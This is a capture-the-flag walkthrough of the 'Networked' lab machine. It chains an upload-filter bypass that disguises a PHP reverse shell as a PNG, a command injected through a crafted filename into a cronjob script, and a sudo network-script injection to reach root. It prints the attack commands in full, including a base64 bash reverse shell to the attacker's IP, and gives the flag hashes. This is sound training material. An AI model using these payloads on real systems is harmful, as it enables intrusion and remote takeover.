Networked


Summary

The web application allows users to upload image files. While there are two upload filters in place, we manage to circumvent both of them in order to upload a PHP reverse shell, as we are able to inspect the security mechanisms’ source code from on exposed backup file. Once we upload a PHP reverse shell, we get access to the target. From there we pivot to another user, as a cronjob running script can be injected with arbitrary shell commands.

Lastly, the compromised user has root level execution permission for a custom script, which allows us to change the config of a network interface. As a parameter is vulnerable to command execution, we manage to obtain a shell as root.

Solution

Reconnaissance

We start with the usual Nmap scan, disclosing two open ports.

nmap -sC -sV 10.10.10.146 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 22:38 CEST
Nmap scan report for 10.10.10.146
Host is up (0.032s latency).
Not shown: 65251 filtered tcp ports (no-response), 281 filtered tcp ports (host-prohibited)
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https

I got some weird responses, many of which detected filtered ports that don’t actually exists. For us, this doesn’t matter, and we can go straight to the web service. Upon visiting it in our browser, we get a response with the following text.

Pasted image 20250426171252.png

Since there are no links to be found, let’s run a scan with Gobuster for directory brute forcing and look for any hidden endpoints.

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.146
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 211]
/.htaccess            (Status: 403) [Size: 211]
/backup               (Status: 301) [Size: 235] [--> http://10.10.10.146/backup/]
/cgi-bin/             (Status: 403) [Size: 210]
/uploads              (Status: 301) [Size: 236] [--> http://10.10.10.146/uploads/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

The scan reveals two folders. However, instead of a 403 response, we can actually list the contents of these folders. While /uploads is uninteresting to us, /backup contains a backup.tar.

Pasted image 20250426171536.png

Backup files are always valuable. In order to check what this file is referring to, let’s download it to our machine and unpack it.

tar -xf backup.tar

The archive contains four .php files:

  • index.php
  • lib.php
  • upload.php
  • photos.php

As we can fuzz for these files on the target machine (we mostly get empty responses, which is also a sign for these files being there), it seems we just obtained the source code of the running PHP code. By analyzing it, we can conclude that the web page allows us to upload pictures over upload.php, which we can then inspect over photos.php. Since upload features always pose themselves as risks for arbitrary file uploads, it is no surprise that upload.php contains an upload filter, which restricts uploaded files to images. Let’s take a look how this is done.:

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

The snippet above from upload.php checks the files type by calling a function from lib.php, which again relies on a MIME type check.

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

The implementation above just checks the magic bytes of the uploaded file with the mime_content_type function, only allowing those for image files. This is a flaw, as we can bypass this by prepending the respective bytes to our own payload. However, this is not the only check that is being performed. In upload.php, there is a check for the upload’s file extension.

list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

This filter is a little trickier for us to bypass, as it ensures the very last extension to be one of the following: .jpg,.png,.gif,.jpeg. For us, this means that we could only upload a PHP reverse shell with the name shell.php.png or something similar and there doesn’t seem to be around it. But is this actually needed?

Actually, this might not be an issue, depending on the web servers configuration. In some instances, configurations only require the .php extension to be at someplace in the filename, not necessarily at the very end. Since we can’t know this as of right now, we can only hope and check by uploading such a file.

User Flag

Let’s start by grabbing a PHP reverse shell from Revshells. After saving it to a file, we first need to circumvent the filter based on the magic bytes. For this, let’s grab these bytes for .png files (or any other image type) from this list and prepend them to the correctly named file.

echo "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" > mime_shell.php.png
cat shell.php >> mime_shell.php.png

After uploading this file and spawning our Netcat listener, we get the message: file uploaded, refresh gallery. Now, we only need to visit the upload gallery at http://10.10.10.146/photos.php, where we see our upload.

Pasted image 20250426190418.png

Since the gallery already displays each uploaded file, our shell should be triggered at this point, as long as the configuration allows so. Lucky, our Netcat listener got a connection, meaning we were correct.

nc -lvnp 4444 
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.146] 32966
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:04:09 up  2:02,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache

We got access as apache, which is not the user containing the user flag. Nevertheless, we do have read access to the only directory in /home, which is the home directory of guly. In it, we find a crontab, as well as a PHP file.

ls 
check_attack.php  crontab.guly  user.txt
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php

According to this, the check_attack.php file is being executed every three minutes as the user guly. Let’s take a look at what it does.

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}
?>

This script essentially tries to detect attack as parts of the web server’s uploads. For this, it lists ever file in the uploads directory, which all contain the uploader’s IP address in their names. Based on a condition defined in lib.php, the script will delete all of our uploaded files by invoking the rm binary with an exec() call, including the file name. This is quite dangerous, as we can inject this call, if we rename our files appropriately, since the file name will also be interpreted as a command.

We can use this to spawn a reverse shell by creating a file, which contains our payload. As there are some character restrictions with file names, it’s recommended to use base64 encoding for the reverse shell payload. In this case, I just grab a simple bash reverse shell from Revshells.

echo "bash -c '/bin/bash -i >& /dev/tcp/10.10.16.5/4445 0>&1'" | base64 
YmFzaCAtYyAnL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvNDQ0NSAwPiYxJwo=

Now we only need to create the file on the /var/www/html/uploads directory. Remember to escape the original command accordingly.

touch ";echo 'YmFzaCAtYyAnL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvNDQ0NSAwPiYxJwo=' | base64 -d | bash;"

After spawning another Netcat listener and waiting a little while, we get a reverse shell as guly and can claim the user flag.

nc -lvnp 4445                                     
listening on [any] 4445 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.146] 56370
bash: no job control in this shell
[guly@networked ~]$ 
82ec023562cc1797ad45a793273ed765

Root Flag

As always, the first thing to do is to check for any sudo privileges.

sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

The user guly is permitted to execute /usr/local/sbin/changename.sh as root. Let’s take a look what it does.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

From the looks of it, this script can be used to set some parameters for a network interface called guly0, which will be stored in /etc/sysconfig/network-scripts/ifcfg-guly and instantly executed with /sbin/ifup guly0. As I can’t find anything dangerous about this, it’s not a bad idea to take a look at the current file that is being manipulated.

cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih

The only unexpected aspect about this configuration is the NAME parameter, as it seemingly contains a shell command ps /tmp/foo. Based on this post, this is exactly what happens, however it does not work like I thought. It seems like the OS will execute anything in the NAME parameter, as long as it follows a whitespace. So if we jsut execute bash, should get a shell. Let’s execute the scirpt and enter the command.

sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]# 

It works! We get access to root and can claim the root flag.

346a6b901a1f726542c7cdceda4b38a2